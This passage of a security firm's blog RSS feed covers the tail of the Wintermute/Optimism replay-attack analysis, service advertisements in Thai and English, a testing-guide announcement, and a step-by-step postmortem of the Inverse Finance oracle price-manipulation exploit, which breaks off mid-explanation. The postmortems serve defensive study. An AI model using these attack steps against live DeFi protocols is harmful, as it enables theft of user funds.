on transactions only requires the hashing of only six rlp encoded elements: (nonce, gasprice, startgas, to, value, data) . This means that the transaction can be directly replayed on other EVM-based chains, including Optimism. EIP-155 prevents this by suggesting that the hash should come from nine rlp encoded elements: (nonce, gasprice, startgas, to, value, data, chainid, 0, 0) . The added chainid prevents the same transaction from being replayed on other chains.</p><p>Since <a href="https://etherscan.io/tx/0x75a42f240d229518979199f56cd7c82e4fc1f1a20ad9a4864c635354b4a34261">the creation</a> of the ProxyFactory contract on Ethereum was not complying with this EIP, the attacker was able to replay the transactions in order to deploy the ProxyFactory contract on the same address as on Ethereum.</p><p>With the ProxyFactory contract available, the attacker was able to CREATE a massive amount of multisig contracts until the same nonce is reached, getting hold of the multisig contract with the same address as the Wintermute multisig wallet on L1 and taking control of the address that holds 20 million $OP.</p><h3>Conclusion</h3><p>On EVM-based chains, the access to the externally owned account (EOA) is held by the owner of the private key. However, when an address is created from a contract, it is not guaranteed that the ownership defined in the smart contract will be the same on all chains. By having 20 million $OP transferred to an address not yet owned by anyone, an attacker used a replay attack to deploy the factory contract, and deployed 10,044 multisig wallet contracts in total through the newly created factory in order to take control of the address that is holding those tokens.</p><p><strong>Update #1 (Jun 9, 2022, 11.30 UTC):</strong> Added “Deployer of the ProxyFactory” Section</p><p><strong>Update #2 (Jun 11, 2022, 13.00 UTC):</strong> Added information about replay attack</p><h3>About Inspex</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*TkeN7pextfZ4l_ra.png" /></figure><p>Inspex is formed by a team of cybersecurity experts highly experienced in various fields of cybersecurity. We provide blockchain and smart contract professional services at the highest quality to enhance the security of our clients and the overall blockchain ecosystem.</p><p>For any business inquiries, please contact us via <a href="https://twitter.com/InspexCo">Twitter</a>, <a href="https://t.me/inspexco">Telegram</a>, <a href="/service/mailto:contact@inspex.co">contact@inspex.co</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f6c75db740a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[End-to-End DApp Security Assessment Service]]></title>
            <link>https://inspexco.medium.com/end-to-end-dapp-security-assessment-service-b2eaa8a948f0?source=rss-587fa599ef08------2</link>
            <guid isPermaLink="false">https://medium.com/p/b2eaa8a948f0</guid>
            <category><![CDATA[dapps]]></category>
            <category><![CDATA[end-to-end-dapp-security]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[blockchain-security]]></category>
            <dc:creator><![CDATA[Inspex]]></dc:creator>
            <pubDate>Mon, 23 May 2022 08:35:04 GMT</pubDate>
            <atom:updated>2023-04-04T03:14:00.376Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7CG8v6_dS7elrkFNGarkdg.png" /><figcaption>Inspex End-to-End DApp Security Assessment Service</figcaption></figure><p>สำหรับ Decentralized Application (DApp) ต่าง ๆ การพัฒนา smart contract ให้มีความปลอดภัยนั้นเป็นสิ่งสำคัญอย่างมาก แต่นอกเหนือจากนั้น off-chain component อื่น ๆ (ส่วนของการทำงานที่อยู่นอก Blockchain) ก็มักถูกใช้งานร่วมกับ smart contract เพื่อให้บริการกับผู้ใช้ด้วยเช่นกัน ซึ่งในหลาย ๆ ครั้ง แม้ว่า smart contract จะได้รับการตรวจสอบความปลอดภัยอย่างดีแล้ว แต่แพลทฟอร์มกลับถูกโจมตีผ่านทาง off-chain component ก่อให้เกิดความเสียหายเป็นมูลค่ามหาศาล ตามที่เห็นได้จากหลากหลายตัวอย่าง ไม่ว่าจะเป็น:</p><ul><li>เหตุการณ์ Ronin Network ถูกโจมตีผ่าน Validator RPC Node มูลค่าความเสียหาย $624,000,000 หรือกว่า 20,000 ล้านบาท (<a href="https://roninblockchain.substack.com/p/community-alert-ronin-validators">https://roninblockchain.substack.com/p/community-alert-ronin-validators</a>)</li><li>เหตุการณ์ BadgerDAO ถูกโจมตีผ่านการสร้าง API Key โดยไม่ได้รับอนุญาต มูลค่าความเสียหายกว่า $121,000,000 หรือกว่า 4,000 ล้านบาท (<a href="https://badger.com/technical-post-mortem">https://badger.com/technical-post-mortem</a>)</li><li>เหตุการณ์​ PancakeSwap ถูกโจมตีโดยการทำ DNS Hijacking (<a href="https://medium.com/pancakeswap/dns-incident-recap-36a183a2aee6">https://medium.com/pancakeswap/dns-incident-recap-36a183a2aee6</a>)</li><li>เหตุการณ์โปรเจกต์ Pirate X Pirate ถูกโจมตีผ่านฟีเจอร์บนเว็บไซต์ที่ไม่ปลอดภัย (<a href="https://medium.com/@PirateXPirateNFTsGame/pxp-statement-regarding-the-hacking-incident-and-remedies-44dc97ee0352">https://medium.com/@PirateXPirateNFTsGame/pxp-statement-regarding-the-hacking-incident-and-remedies-44dc97ee0352</a>, <a href="https://twitter.com/BlockSecTeam/status/1501474711599198211">https://twitter.com/BlockSecTeam/status/1501474711599198211</a>)</li></ul><p>การตรวจสอบความปลอดภัยของระบบทั้งหมดแบบ End-to-End ให้ครอบคลุม smart contract รวมถึง off-chain component ทั้งหมด จำเป็นต้องใช้ผู้เชี่ยวชาญที่มีความรู้ความเข้าใจทั้งในทุกองค์ประกอบที่มีการใช้งาน หากมีความเชี่ยวชาญเพียงส่วนใดส่วนหนึ่ง ก็อาจทำให้ไม่สามารถค้นหาความเสี่ยงได้อย่างครบถ้วน</p><p>Inspex ซึ่งเป็นผู้ให้บริการ Blockchain and Smart Contract Security ชั้นนำที่ก่อตั้งโดยทีมงานที่มีประสบการณ์ทั้งด้าน Traditional Cybersecurity และ Blockchain and Smart Contract Security ได้เล็งเห็นถึงปัญหานี้ จึงเปิดให้บริการ End-to-End DApp Security Assessment Service เพื่อตอบโจทย์สำหรับทีมพัฒนา DApp Project ให้สามารถตรวจสอบความปลอดภัยของทั้งระบบได้อย่างครบวงจร เพื่อให้มั่นใจได้ว่าแพลทฟอร์มจะปลอดภัยจากการโจมตีในทุกช่องทาง</p><h3>บริการ End-to-End DApp Security Assessment คืออะไร ?</h3><p>บริการ End-to-End DApp Security Assessment Service เป็นการให้บริการแบบผสมผสานระหว่าง Smart Contract Audit Service และ Penetration Testing Service (บริการทดสอบเจาะระบบ)</p><p>โดย Smart Contract Audit จะครอบคลุมส่วนประกอบที่อยู่บน Blockchain หรือก็คือ smart contract ต่าง ๆ ของแพลทฟอร์ม และ Penetration Testing จะครอบคลุมส่วนประกอบที่เหลือที่ทำงานอยู่นอก Blockchain (off-chain) ไม่ว่าจะเป็น Website, Server, API, รวมถึง Off-chain service อื่น ๆ ที่มีการใช้งาน</p><p>การตรวจสอบแบบครบวงจรนี้ จะทำให้สามารถหาความเสี่ยงของแพลทฟอร์มได้อย่างครบรอบด้าน เพื่อให้ Inspex สามารถเสนอแนวทางป้องกันหรือลดความเสี่ยงที่เหมาะสมต่อระบบของลูกค้าได้</p><h3>ผู้ใช้บริการ End-to-End DApp Security Assessment จะได้อะไร ?</h3><p>ผู้ใช้บริการ End-to-End DApp Security Assessment Service ของ Inspex จะได้รับการตรวจสอบความปลอดภัยอย่างครบถ้วนตามมาตรฐานการให้บริการของ Inspex ที่จะครอบคลุมทั้งในส่วนของ smart contract และ off-chain component</p><p>โดยเมื่อการตรวจสอบครั้งแรกเสร็จสิ้น ทาง Inspex จะส่งมอบรายงานฉบับเบื้องต้น (Preliminary Report) ที่มีรายละเอียดช่องโหว่หรือความเสี่ยงที่พบอย่างชัดเจน พร้อมทั้งคำแนะนำในการแก้ไข รวมถึงการให้คำปรึกษาเกี่ยวกับการปิดช่องโหว่หรือแนวทางเพิ่มเติมในการลดความเสี่ยง</p><p>หลังจากที่ทีมพัฒนาได้ทำการแก้ไขช่องโหว่เสร็จสิ้น Inspex จะทำการตรวจสอบซ้ำ (Reassessment) เพื่อให้แน่ใจว่าช่องโหว่ที่เคยพบในการตรวจสอบครั้งแรก ได้รับการแก้ไขอย่างถูกต้อง เพื่อยืนยันสถานะและจัดทำเป็นรายงานฉบับเต็ม (Full Report) ให้กับลูกค้า</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uZbfB9lsLUdMw_RK" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KII1wKXeFv-WvLIO" /></figure><p>โดยหากช่องโหว่ที่มีความรุนแรงระดับ Medium หรือสูงกว่านั้น ได้รับการแก้ไขทั้งหมด โปรเจคนั้นจะได้รับสถานะ Verified by Inspex และ Badge จากทาง Inspex เพื่อรับรองว่าส่วนที่ได้รับการตรวจสอบนั้นมีความปลอดภัยสำหรับผู้ใช้งาน</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*f0zugdrWgsumGwAn" /></figure><p>นอกจากนั้น Inspex สามารถช่วยประกาศสถานะและผลของการตรวจสอบความปลอดภัยแบบสาธารณะ เพื่อให้ผู้ใช้งานแพลทฟอร์มสามารถเข้าถึงข้อมูลส่วนนี้ได้ผ่านช่องทาง Inspex Library ที่เว็บไซต์ <a href="https://app.inspex.co/library">https://app.inspex.co/library</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ttd_FVERiqtCzQE5hn333g.jpeg" /></figure><p>หากสนใจใช้บริการ End-to-End DApp Security Assessment Service สามารถติดต่อได้ทาง Telegram และ email: @InspexCo (<a href="https://t.me/InspexCo">https://t.me/InspexCo</a>) และ contact@inspex.co</p><h3>About Inspex</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*AOJM3S4BEk3ECaHw.png" /></figure><p>Inspex is formed by a team of cybersecurity experts highly experienced in various fields of cybersecurity. We provide blockchain and smart contract professional services at the highest quality to enhance the security of our clients and the overall blockchain ecosystem.</p><p>For any business inquiries, please contact us via <a href="https://twitter.com/InspexCo">Twitter</a>, <a href="https://t.me/inspexco">Telegram</a>, <a href="/service/mailto:contact@inspex.co">contact@inspex.co</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2eaa8a948f0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[End-to-End DApp Security Assessment Service]]></title>
            <link>https://inspexco.medium.com/end-to-end-dapp-security-assessment-service-26322363146f?source=rss-587fa599ef08------2</link>
            <guid isPermaLink="false">https://medium.com/p/26322363146f</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[blockchain-security]]></category>
            <category><![CDATA[dapps]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[end-to-end-dapp-security]]></category>
            <dc:creator><![CDATA[Inspex]]></dc:creator>
            <pubDate>Mon, 23 May 2022 08:30:27 GMT</pubDate>
            <atom:updated>2022-05-23T09:21:41.964Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KBrhtN8qnkuUkJEHfT2eDg.png" /><figcaption>End-to-End DApp Security Assessment</figcaption></figure><h3>Introduction to End-to-End DApp Security Assessment Service</h3><p>For Decentralized Applications (DApp), developing smart contracts securely is one of the most critical parts. Nevertheless, off-chain components are also frequently used together with smart contracts to provide further functionalities for the users.</p><p>In many occurrences, even when the smart contracts are properly assessed or audited, the platform can still be attacked through insecure off-chain components, causing massive damage. This can be seen in multiple past incidents, such as:</p><ul><li>Ronin Network being attacked through the validator RPC nodes, causing over $624,000,000 in damage (<a href="https://roninblockchain.substack.com/p/community-alert-ronin-validators">https://roninblockchain.substack.com/p/community-alert-ronin-validators</a>)</li><li>BadgerDAO being attacked through the creation of unauthorized API key, causing over $121,000,000 in damage (<a href="https://badger.com/technical-post-mortem">https://badger.com/technical-post-mortem</a>)</li><li>PancakeSwap being attacked through DNS Hijacking (<a href="https://medium.com/pancakeswap/dns-incident-recap-36a183a2aee6">https://medium.com/pancakeswap/dns-incident-recap-36a183a2aee6</a>)</li><li>Pirate X Pirate being attacked through an insecure implementation of an off-chain conversion feature (<a href="https://medium.com/@PirateXPirateNFTsGame/pxp-statement-regarding-the-hacking-incident-and-remedies-44dc97ee0352">https://medium.com/@PirateXPirateNFTsGame/pxp-statement-regarding-the-hacking-incident-and-remedies-44dc97ee0352</a>, <a href="https://twitter.com/BlockSecTeam/status/1501474711599198211">https://twitter.com/BlockSecTeam/status/1501474711599198211</a>)</li></ul><p>In order to perform a security assessment to cover the smart contracts and all off-chain components from end-to-end, security professionals with understanding and experience in all of the components are required. If any of the components are left unchecked, that part can be a room for the attacker to exploit and cause damage to the platform and its users.</p><p>Inspex, as one of the leading Blockchain and Smart Contract Security firms, was founded by a team of cybersecurity experts highly experienced in various fields of both off-chain and on-chain cybersecurity. We are providing the End-to-End DApp Security Assessment Service to support DApp projects on all sides, making sure that the platform is safe from both on-chain and off-chain attacks.</p><h3>What is End-to-End DApp Security Assessment Service?</h3><p>End-to-End DApp Security Assessment Service is a service that combines Smart Contract Audit Service with Penetration Testing Service.</p><p>The Smart Contract Audit Service covers the on-chain components, which are the smart contracts of the platform. Whereas the Penetration Testing service covers other off-chain components, including website, server, API, or other services being used on the platform.</p><p>With the coverage of all components, we can inspect and determine the risks from all possible angles in order to provide the best solutions to resolve or mitigate those risks for our clients.</p><h3>What Will You Get From Using Our End-to-End DApp Security Assessment Service?</h3><p>The clients of Inspex’s End-to-End DApp Security Assessment Service will have a security assessment performed on their platform by cybersecurity professionals at the highest quality. This assessment will cover all the agreed components of the platform, including the smart contracts and off-chain components.</p><p>After the first assessment is finished, a preliminary report, with detailed descriptions of the risks and the recommendations to resolve those risks, will be provided. During the remediation of the issues by the project team, consultation with Inspex’s professionals can always be done in order to make sure that the solution used is best suited for our clients.</p><p>When the issues are fixed, Inspex will perform a reassessment to make sure that the risks found in the first assessment are properly fixed and resolved without any complications. A full report will then be prepared and delivered to our client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-sP8XySAz5HwzPIg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EM7rA1AEasTU2bPJ" /></figure><p>Moreover, if issues with medium severity or above are all resolved, that project will be marked as “Verified by Inspex”, and a badge will be issued to confirm that the components within the assessment scope are properly secured for the users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*f_Ro9vbVPlsoNrBg" /></figure><p>Furthermore, Inspex can help our clients announce the assessment result publicly through Inspex Library, allowing the platform users to access the information about the assessment and view the report.</p><p>Inspex Library: <a href="https://app.inspex.co/library">https://app.inspex.co/library</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ttd_FVERiqtCzQE5hn333g.jpeg" /></figure><p>For inquiries on our End-to-End DApp Security Assessment Service, please contact us through our Telegram and email: @InspexCo (<a href="https://t.me/InspexCo">https://t.me/InspexCo</a>) and contact@inspex.co</p><h3>About Inspex</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*eOGZAkvQ1elvELwD.png" /></figure><p>Inspex is formed by a team of cybersecurity experts highly experienced in various fields of cybersecurity. We provide blockchain and smart contract professional services at the highest quality to enhance the security of our clients and the overall blockchain ecosystem.</p><p>For any business inquiries, please contact us via <a href="https://twitter.com/InspexCo">Twitter</a>, <a href="https://t.me/inspexco">Telegram</a>, <a href="/service/mailto:contact@inspex.co">contact@inspex.co</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=26322363146f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introducing Smart Contract Security Testing Guide]]></title>
            <link>https://inspexco.medium.com/introducing-smart-contract-security-testing-guide-3905adf447de?source=rss-587fa599ef08------2</link>
            <guid isPermaLink="false">https://medium.com/p/3905adf447de</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[smart-contract-security]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[testing]]></category>
            <dc:creator><![CDATA[Inspex]]></dc:creator>
            <pubDate>Wed, 27 Apr 2022 07:03:21 GMT</pubDate>
            <atom:updated>2022-04-27T07:03:54.218Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QN2XYzfdR7XP4BZmaZPmwg.png" /><figcaption>Smart Contract Security Testing Guide</figcaption></figure><p>Since the inept of smart contracts, exploits and attacks have always been prevalent in this world of decentralized applications, as can be seen from various sources such as:</p><ul><li><a href="https://rekt.news/">https://rekt.news/</a></li><li><a href="https://defiyield.app/rekt-database">https://defiyield.app/rekt-database</a></li></ul><p>Unlike traditional software that can be easily patched, most smart contracts cannot be modified after they are deployed, and allowing the logic of the smart contract to be modified after the deployment may open up rooms for attacks from both external and internal actors. Therefore, security should be one of the highest, if not the top, priorities in the development of smart contracts.</p><p>For smart contract developers, it is important to know how to securely implement their smart contracts, and test for the common pitfalls and risks. As for security professionals, having a clear checklist to follow can help standardize the testing methodology, preventing common risks from being overlooked. With these reasons, the <strong>Smart Contract Security Testing Guide (SCSTG)</strong> is created.</p><p><strong>SCSTG</strong> is a risk-based guide for smart contract security professionals and developers to use as a reference in the security testing of smart contracts. It describes the characteristics and processes for verifying smart contract security issues in different categories, together with examples of vulnerable contracts or functions, and solutions to resolving the risks from their root causes or mitigating their risks.</p><p>The risks are categorized in 9 categories as follows:</p><p><strong>1. Architecture and Design</strong></p><p>Implementing smart contracts to be secure requires proper architecture and design. This testing category involves the use of compilers, the design of the smart contract calling architecture, and the design of roles and permissions.</p><p><strong>2. Access Control</strong></p><p>Access control is the imposing of policy by preventing users from acting beyond the scope of their authorized permissions. Improper access control can lead to unauthorized information disclosure, data manipulation or loss, or performing of business functions outside the user’s capability.</p><p><strong>3. Error Handling and Logging</strong></p><p>Error handling and logging are the keys in making errors in smart contracts traceable, directing the execution flow to the proper path depending on the execution result, allowing the users to know where and how the contract fails, and making it possible to trance the past actions done on the smart contract.</p><p><strong>4. Business Logic</strong></p><p>Business logic flow in general should be sequential, processed in order, and cannot be bypassed. Business logic vulnerabilities can happen when the smart contract’s legitimate processing flow can be used in a way that has an adverse effect on the users or the smart contract’s owner.</p><p><strong>5. Blockchain Data</strong></p><p>The usage of data on the blockchain, including the storage, retrieval, and modification, should be done properly to keep the integrity, and sometimes confidentiality, of the data. This includes the risks of on-chain data manipulation such as price manipulation using flash loans.</p><p><strong>6. External Components</strong></p><p>Smart contracts can be interconnected through the inheritance of the previously developed smart contracts or the calling of functions from other contracts. Usage of insecure external components can cause undesirable or harmful effects if not done properly, such as reentrancy attack.</p><p><strong>7. Arithmetic</strong></p><p>Mathematical operations on different programming languages and platforms may work differently. The arithmetic operations done in the smart contract should be able to safely handle the whole range of possible values.</p><p><strong>8. Denial of Services</strong></p><p>Improper contract logic can affect the availability of the contract. It should be made sure that the smart contract can function properly as designed without disruption from internal or external factors.</p><p><strong>9. Best Practices</strong></p><p>Smart contract can be implemented in various ways, depending on each developer’s style. However, complying with the best practices can improve the code quality of the smart contract, making it cleaner, more readable, or more efficient.</p><p>The complete <strong>Smart Contract Security Testing Guide (SCSTG)</strong> can be viewed here: <a href="https://inspex.gitbook.io/testing-guide">https://inspex.gitbook.io/testing-guide</a></p><h3>About Inspex</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*hnIzc0xtm0u27AH2.png" /></figure><p>Inspex is formed by a team of cybersecurity experts highly experienced in various fields of cybersecurity. We provide blockchain and smart contract professional services at the highest quality to enhance the security of our clients and the overall blockchain ecosystem.</p><p>For any business inquiries, please contact us via <a href="https://twitter.com/InspexCo">Twitter</a>, <a href="https://t.me/inspexco">Telegram</a>, <a href="/service/mailto:contact@inspex.co">contact@inspex.co</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3905adf447de" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Inverse Finance’s Incident Analysis —$INV Price Manipulation]]></title>
            <link>https://inspexco.medium.com/inverse-finances-incident-analysis-inv-price-manipulation-b15c2e917888?source=rss-587fa599ef08------2</link>
            <guid isPermaLink="false">https://medium.com/p/b15c2e917888</guid>
            <category><![CDATA[inverse-finance]]></category>
            <category><![CDATA[price-manipulation]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[incident-analysis]]></category>
            <dc:creator><![CDATA[Inspex]]></dc:creator>
            <pubDate>Thu, 07 Apr 2022 04:34:47 GMT</pubDate>
            <atom:updated>2022-04-07T06:39:52.087Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cYl7XNuKqfmMtPFE9rOE1A.png" /><figcaption>Inverse Finance’s Incident Analysis — $INV Price Manipulation</figcaption></figure><p>On Apr 02, 2022, 11:04:09 AM UTC (block 14506359), the attacker borrowed assets from Inverse Finance using a collateral asset that had less actual value than the borrowed assets. The price of the collateral asset on Inverse Finance becoming more expensive at the time, making $INV collateral with more borrowable value than it should be. We will go over the technical details of this attack step by step in this article.</p><h4>Related Address</h4><ul><li>Inverse Finance Exploiter #1: <a href="https://etherscan.io/address/0x117c0391b3483e32aa665b5ecb2cc539669ea7e9">https://etherscan.io/address/0x117c0391b3483e32aa665b5ecb2cc539669ea7e9</a></li><li>Inverse Finance Exploiter #2: <a href="https://etherscan.io/address/0x8b4c1083cd6aef062298e1fa900df9832c8351b3">https://etherscan.io/address/0x8b4c1083cd6aef062298e1fa900df9832c8351b3</a></li><li>Exploiter’s Contract: <a href="https://etherscan.io/address/0xea0c959bbb7476ddd6cd4204bdee82b790aa1562">https://etherscan.io/address/0xea0c959bbb7476ddd6cd4204bdee82b790aa1562</a></li><li>Keep3rV2Oracle: <a href="https://etherscan.io/address/0x39b1df026010b5aea781f90542ee19e900f2db15">https://etherscan.io/address/0x39b1df026010b5aea781f90542ee19e900f2db15</a></li></ul><h4>Attack Steps</h4><p>There are 2 main transactions used for the successful attack as follows:</p><p><strong>1. Price manipulation, Update the price on Oracle, and Swap tokens at transaction:</strong> <a href="https://etherscan.io/tx/0x20a6dcff06a791a7f8be9f423053ce8caee3f9eecc31df32445fc98d4ccd8365">https://etherscan.io/tx/0x20a6dcff06a791a7f8be9f423053ce8caee3f9eecc31df32445fc98d4ccd8365</a></p><p>1.1 Verified that the price feed can be updated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*eOaiewUTQC87_z_UqDQy2Q.png" /></figure><p>1.2 Exploiter’s Contract allowed using $INV as collateral on the lending contract.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F9P1UOONymzwGSWaHWq4cg.png" /></figure><p>1.3 Manipulated price by swapping 300 $WETH to 374.385477084842174221 $INV on the SushiSwap’s $WETH-$INV pair.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UKzurz2mQWAcxydrxaV68Q.png" /></figure><p>1.4 Updated the price feed. The price feed of every pair was updated by calling the workForFree() function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CQ2pMU-_lZ4ss3Nkcja4aQ.png" /></figure><p>The keep3rV2Oracle contract that refer to the SushiSwap’s $INV-$WETH pair (address 0x39b1df026010b5aea781f90542ee19e900f2db15) is one of updated feed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FyEe9RoTvRmU-Gd66WD5jg.png" /></figure><p>The price0CumulativeLast value after the update is 0x00000000000000000000000000000062d32f53f2f7afe532c0372fd0cacdbd4b, which the Oracle will calculate this value with e10 and Q112. Then the value from the calculation, 6476591327926140254201750, will be stored in the Oracle’s observation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nQFSQpyLj3T4SqYUejVOng.png" /></figure><p>It goes with the same as the price1CumulativeLast value, 0x000000000000000000000000000012d5e533107a3e9659278cb49bb1e692524d, which will be calculated into 316007731064365302759283159 and being stored into the Oracle’s observation.</p><p>At this update, Oracle has stored the manipulated cumulative price into the observation with timestamp 1648897434 at index number 114 of the observations.</p><p>1.5 Swapped 200 $WETH to 690,307.061277 $USDC on SushiSwap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q8HF6V8YIfUi3-CwjsT6ww.png" /></figure><p>1.6 Exchanged 690,307.061277 $USDC to 690,203.010884231600886834 $DOLA on Curve’s $DOLA + 3Crv pool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZVxI6z4MhoFkEZDo.png" /></figure><p>1.7 Swapped 690,203.010884231600886834 $DOLA to 1,372.052401667461914227 $INV on Sushiswap’s $INV-$DOLA pair.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BxnGKfufBW5pPNZJV4HY4w.png" /></figure><p><strong>2. Lend and Borrow at: </strong><a href="https://etherscan.io/tx/0x600373f67521324c8068cfd025f121a0843d57ec813411661b07edc5ff781842"><strong>https://etherscan.io/tx/0x600373f67521324c8068cfd025f121a0843d57ec813411661b07edc5ff781842</strong></a></p><p>Attacker lent 1,746.437878752304088448 $INV</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PUFAu-MBVXaJCcB8.png" /></figure><p>Returned price from the getUnderlyingPrice() function of $INV feed is 20926.791034009538953802 $USD.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bjUv6jRu0yMuxgKZn7XFpQ.png" /></figure><p>The collateral factor at the lent/borrowed time is 60% (0.6 e18) of the asset value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HJqmRTktpjC_XAUt.png" /></figure><p>By the 1,746.437878752304088448 $INV lent, total value in $USD that the attacker can borrow is $21,928,404.32551701 (60% of 36,547,340.54252835)</p><p>The price of other related assets in the same transaction:</p><ul><li>$WBTC is $46650.31</li><li>$ETH is $3488.82</li><li>$YFI is $23461.259</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/0*TlZfz9feT0yqE4an.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/0*wwGgZhVMThf-gM9X.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/0*6W-PiV49l_AeUGhZ.png" /></figure><p>Attacker borrowed the following assets:</p><ul><li>3,999,669.029654761043260989 $DOLA</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fJFM1tE0Y9359LZa.png" /></figure><ul><li>1,588<strong>.</strong>263719446159096974 $ETH</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x8o8E_yFI6Hrx3Dquk_ftg.png" /></figure><ul><li>94.03071805 $WBTC</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*B4McGK6Bwa3QvTJN.png" /></figure><ul><li>39.368440899328442 $YFI</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xJolcpZtc0SuJ3Lb.png" /></figure><p>Finally, the attacker transferred all borrowed assets to Inverse Finance Exploiter #2’s wallet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DSuh22fRMZnqKs6lozCVqQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ce2jja2Qt9O9VJyI.png" /></figure><h3>Root Cause Analysis</h3><p>The core oracle that contains the price calculation logic of Inverse Protocol is the Keep3rV2Oracle contract.</p><p>The following code is the current() function of the Keep3rV2Oracle contract.</p><p><strong>Keep3rV2Oracle.sol</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OSOuEPW4OFBtusWG.png" /></figure><p>The current() function returns the price of the asset. It is mainly used for calculating the getUnderlyingPrice() function to determine the asset value.</p><p>The current() function takes the last stored cumulative price from the observation and the current cumulative price to calculate the price. The function has a flaw that allows the calculation with a small timeElapsed value.</p><p>The problem will arise when the current() function is called 1 block after the block that the price feed has been updated, which is the case that the attacker has leveraged in this attack.</p><p>The attacker manipulated the $INV price in block number 14506358 and the Oracle stored the manipulated cumulative price in the observations. At block number 14506359, the current() function used the recently updated cumulative price from the observations and the current block’s cumulative price.</p><p>To guarantee the latest cumulative price being set, the attacker has to manually force the price feed (SushiSwap) to update the cumulative price. So, the attacker called the sync() function first at the transaction 0x600373f67521324c8068cfd025f121a0843d57ec813411661b07edc5ff781842.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_xaKlK9UCVaIVl8s.png" /></figure><p>Here’s the catch, the current block’s cumulative price was calculated from last price (the attacker force update the price to ensure this value) of the previous block multiplying with the current block time (15 seconds in this case). When the current() function is calculating _computeAmountOut(), the current block’s cumulative price is the latest cumulative price plus with the multiplying of the price and the passing time. When putting every parameter into the calculation of _computeAmountOut() function</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*-5bLuOwA4QfbXMnSFno5Aw.png" /></figure><p>From now on, we will simplify the equation by ignoring the scaling constant *e10/Q122 from price0Cumulative and _observation.price0Cumulative.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oPx51jR0ImVlNquPCWoPgw.png" /></figure><p>The current block’s price0Cumulative is retrieved from IUniswapV2Pair(pair).price0CumulativeLast().</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DjCZteTEabG_qscnt6P6JQ.png" /></figure><p>The _observation.price0Cumulative is replaced with a placeholder variable {lastBlockCumulativePrice} to refer to the cumulative price from block number 14506358 onward.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MwsB4FzmQQxENCQJpsQpPw.png" 